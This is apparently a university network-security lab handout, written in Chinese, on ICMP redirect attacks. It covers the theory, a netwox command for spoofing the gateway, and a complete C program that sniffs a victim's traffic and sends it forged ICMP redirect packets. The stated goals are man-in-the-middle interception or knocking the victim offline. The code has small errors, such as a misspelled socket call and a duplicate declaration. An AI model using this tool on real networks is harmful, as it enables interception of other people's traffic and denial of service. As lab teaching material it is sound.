實驗二:ICMP重定向攻擊
-:實驗原理
ICMP重定向信息是路由器向主機提供實時的路由信息,當一個主機收到ICMP重定向信息時,它就會根據這個信息來更新自己的路由表。由於缺乏必要的合法性檢查,如果一個黑客想要被攻擊的主機修改它的路由表,黑客就會發送ICMP重定向信息給被攻擊的主機,讓該主機按照黑客的要求來修改路由表。
在VMware虛擬環境中(Virtual Box不同),.2是充當網關的默認地址(通過route命令可以查看當前的網關和路由信息);所以攻擊者可以冒充.2發出重定向包,通知受害者修改自己的網關為攻擊者指定的gw地址;如果偽造的gw是自身,可以實現中間人攻擊或者DOS攻擊(沒有啟動IP轉發功能);如果是隨意IP(不能到達或不負責轉發),則可以導致DOS攻擊。
二:實驗步驟:
- 使用netwox體會實驗效果,使用netwox 86發送ICMP重定向包,
Netwox 86 –gw 192.168.137.220 –src-ip 192.168.137.2
其中-gw指定新的網關地址;--src-ip是當前網關地址;也即攻擊者冒充當前網關.2通知受害者修改自己的網關IP。
啟動wireshark,觀察netwox發出的數據包:
1) 通過wireshark抓包查看所發出的數據包的源IP是.2而不是攻擊者真實的IP;
2) 通過抓包,查看攻擊數據包的結構
請註意,ICMP重定向報文除了ICMP包中的通用頭部之外,還包括原始IP頭部信息和數據報文的前8個字節。也即,在構造ICMP重定向包中,除了頭部之外,還需要額外的28字節(在IP頭部沒有可選字段的情況下)
3) 另外,註意觀察,netwox發出的ICMP重定向包的目的IP是受害者正通信的IP,也即,netwox先抓到受害者的數據包,根據捕獲包的IP地址,再構造攻擊包。
- 在充分了解實驗原理的基礎上,自己使用raw socket,寫出來一個icmp redirect包,達到使受害者不能正常上網的目的。
1) 關於raw socket語法,可以使用man socket;man raw;man packet等查看細節,可以運行參考代碼,並結合wireshark抓包查看代碼生成的數據包。
2) 原始套接字是一個特殊的套接字類型,但它的創建方式跟TCP/UDP創建方法幾乎是一摸一樣,例如,通過
int sockfd;
sockfd = socktet(AF_INET, SOCK_RAW, IPPROTO_ICMP);
原型:int socket (int domain, int type, int protocol)
功能描述:初始化創建socket對象,通常是第一個調用的socket函數。 成功時,返回非負數的socket描述符;失敗是返回-1。socket描述符是一個指向內部數據結構的指針,它指向描述符表入口。調用socket()函數時,socket執行體將建立一個socket,實際上"建立一個socket"意味著為一個socket數據結構分配存儲空間。socket執行體為你管理描述符表。
參數解釋:
domain -- 指明使用的協議族。常用的協議族有,AF_INET、AF_INET6、AF_LOCAL(或稱AF_UNIX,Unix域socket)、AF_ROUTE等等。協議族決定了socket的地址類型,在通信中必須采用對應的地址,如AF_INET決定了要用ipv4地址(32位的)與端口號(16位的)的組合、AF_UNIX決定了要用一個絕對路徑名作為地址。
type -- 指明socket類型,有3種:
SOCK_STREAM -- TCP類型,保證數據順序及可靠性;
SOCK_DGRAM -- UDP類型,不保證數據接收的順序,非可靠連接;
SOCK_RAW -- 原始類型,允許對底層協議如IP或ICMP進行直接訪問,不太常用。 protocol -- 通常賦值"0",由系統自動選擇。
#include <pcap.h> #include <time.h> #include <stdlib.h> #include <stdio.h> #include <netinet/in.h> #include<sys/socket.h> #include<unistd.h> #define MAX 1024 #define SIZE_ETHERNET 14 const unsigned char *Vic_IP = "10.211.55.4";//攻擊對象的ip const unsigned char *Ori_Gw_IP = "10.211.55.1";//源網關ip const unsigned char *Redic_IP = "10.211.55.3";//攻擊者ipo int flag = 0; /* IP header */ struct ip_header { #ifdef WORDS_BIGENDIAN u_int8_t ip_version:4; u_int8_t ip_header_length:4; #else u_int8_t ip_header_length:4; u_int8_t ip_version:4; #endif u_int8_t ip_tos; u_int16_t ip_length; u_int16_t ip_id; u_int16_t ip_off; u_int8_t ip_ttl; u_int8_t ip_protocol; u_int16_t ip_checksum; struct in_addr ip_source_address; struct in_addr ip_destination_address; }; //icmp 重定向報文頭 struct icmp_header { u_int8_t icmp_type; u_int8_t icmp_code; u_int16_t icmp_checksum; struct in_addr icmp_gateway_addr; //u_int16_t icmp_identifier; //u_int16_t icmp_sequence; }; /*計算校驗和*/ u_int16_t checksum(u_int8_t *buf,int len) { u_int32_t sum=0; u_int16_t *cbuf; cbuf=(u_int16_t *)buf; while(len>1) { sum+=*cbuf++; len-=2; } if(len) sum+=*(u_int8_t *)cbuf; sum=(sum>>16)+(sum & 0xffff); sum+=(sum>>16); return ~sum; } void ping_redirect(int sockfd,const unsigned char *data,int datalen) { char buf[MAX],*p; struct ip_header *ip; struct icmp_header *icmp; int len,i; struct sockaddr_in dest; struct packet{ struct iphdr ip; struct icmphdr icmp; char datas[28]; }packet; //手動填充ip頭 packet.ip.version = 4; packet.ip.ihl = 5; packet.ip.tos = 0;//服務類型 packet.ip.tot_len = htons(56); packet.ip.id = getpid(); packet.ip.frag_off = 0; packet.ip.ttl = 255; packet.ip.protocol = IPPROTO_ICMP; packet.ip.check = 0; packet.ip.saddr = inet_addr(Ori_Gw_IP);//要偽造網關發送ip報文 packet.ip.daddr = inet_addr(Vic_IP);//將偽造重定向包發給受害者 //手動填充icmp頭 packet.icmp.type = ICMP_REDIRECT; packet.icmp.code = ICMP_REDIR_HOST; packet.icmp.checksum = 0; packet.icmp.un.gateway = inet_addr(Redic_IP); struct sockaddr_in dest = { .sin_family = AF_INET, .sin_addr = { .s_addr = inet_addr(Vic_IP) } }; //從源數據包的內存地址的起始地址開始,拷貝28個字節到目標地址所指的起始位置中 //可以復制任何類型,而strcpy只能復制字符串 memcpy(packet.datas,(data + SIZE_ETHERNET),28);//包裏數據 packet.ip.check = checksum(&packet.ip,sizeof(packet.ip)); packet.icmp.checksum = checksum(&packet.icmp,sizeof(packet.icmp)+28); //用於非可靠連接的數據數據發送,因為UDP方式未建立SOCKET連接,所以需要自己制定目的協議地址 //(發送端套接字描述符,待發送數據的緩沖區,待發送數據長度IP頭+ICMP頭(8)+IP首部+IP前8字節,flag標誌位,一般為0,數據發送的目的地址,地址長度) sendto(sockfd,&packet,56,0,(struct sockaddr *)&dest,sizeof(dest)); //printf("send\n"); } //pcap_loop()不知道如何處理返回值,所以返回值為空,第一個參數是回調函數的最後一個參數,第二個參數是pcap.h頭文件定義的,包括數據包被嗅探的時間大小等信息,最後一個參數是一個u_char指針,它包含被pcap_loop()嗅探到的所有包(一個包包含許多屬性,它不止一個字符串,而是一個結構體的集合,如一個TCP/IP包包含以太網頭部,一個IP頭部還有TCP頭部,還有此包的有效載荷)這個u_char就是這些結構體的串聯版本。pcap嗅探包時正是用之前定義的這些結構體 void getPacket(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet) { int sockfd,res; int one = 1; int *ptr_one = &one; //printf("here!\n"); //可以接收協議類型為ICMP的發往本機的IP數據包(通信的域,iPv4,套接字通信的類型,原始套接字,套接字類型,接收ICMP-》IP) //sockfd是socket描述符,為了以後將socket與本機端口相連 if((sockfd = socket(AF_INET,SOCK_RAW,IPPROTO_ICMP))<0) { printf("create sockfd error\n"); exit(-1); } //包裝自己的頭部 //發送數據時,不執行系統緩沖區到socket緩沖區的拷貝,以提高系統性能,應為 /** 設置sockfd套接字關聯的選 項 sockfd:指向一個打開的套接口描述字 IPPROTO_IP:指定選項代碼的類型為IPV4套接口 IP_HDRINCL:詳細代碼名稱(需要訪問的選項名字) ptr_one:一個指向變量的指針類型,指向選項要設置的新值的緩沖區 sizeof(one):指針大小 */ res = setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL,ptr_one, sizeof(one)); if(res < 0) { printf("error--\n"); exit(-3); } ping_redirect(sockfd,packet,0); } int main() { char errBuf[PCAP_ERRBUF_SIZE], * devStr; /* get a device */ devStr = pcap_lookupdev(errBuf);//返回一個合適網絡接口的字符串指針,如果出錯,則返回errBuf出錯字符串,長度為PACP_ERRBUF_SIZE長度 if(devStr) { printf("success: device: %s\n", devStr); } else { printf("error: %s\n", errBuf); exit(1); } /* open a device, wait until a packet arrives */ //打開設備進行嗅探,返回一個pcap_t類型的指針,後面操作都要用到這個指針 pcap_t * device = pcap_open_live(devStr, 65535, 1, 0, errBuf); //獲得數據包捕獲描述字函數(設備名稱,參與定義捕獲數據的最大字節數,是否置於混雜模式,設置超時時間0表示沒有超時等待,errBuf是出錯返回NULL時用於傳遞錯誤信息) struct bpf_program filter; char filterstr[50]={0}; sprintf(filterstr,"src host %s",Vic_IP); //將vic_ip按照%s的格式寫入filterstr緩沖區 //過濾通信,哪些包是用戶可以拿到的 //表達式被編譯,編譯完就可使用了 pcap_compile(device,&filter,filterstr,1,0); //函數返回-1為失敗,返回其他值為成功 //device:會話句柄 //&filterstr:被編譯的過濾器版本的地址的引用 //filterstr:表達式本身,存儲在規定的字符串格式裏 //1:表達式是否被優化的整形量:0:沒有,1:有 //0:指定應用此過濾器的網絡掩碼 //設置過濾器,使用這個過濾器 pcap_setfilter(device,&filter); //device:會話句柄 //&filterstr:被編譯的表達式版本的引用 /* wait loop forever */ int id = 0; pcap_loop(device, -1, getPacket, NULL); //device是之前返回的pacp_t類型的指針,-1代表循環抓包直到出錯結束,>0表示循環x次,getPacket是回調函數,最後一個參數一般之置為null return 0; }
實驗二:ICMP重定向攻擊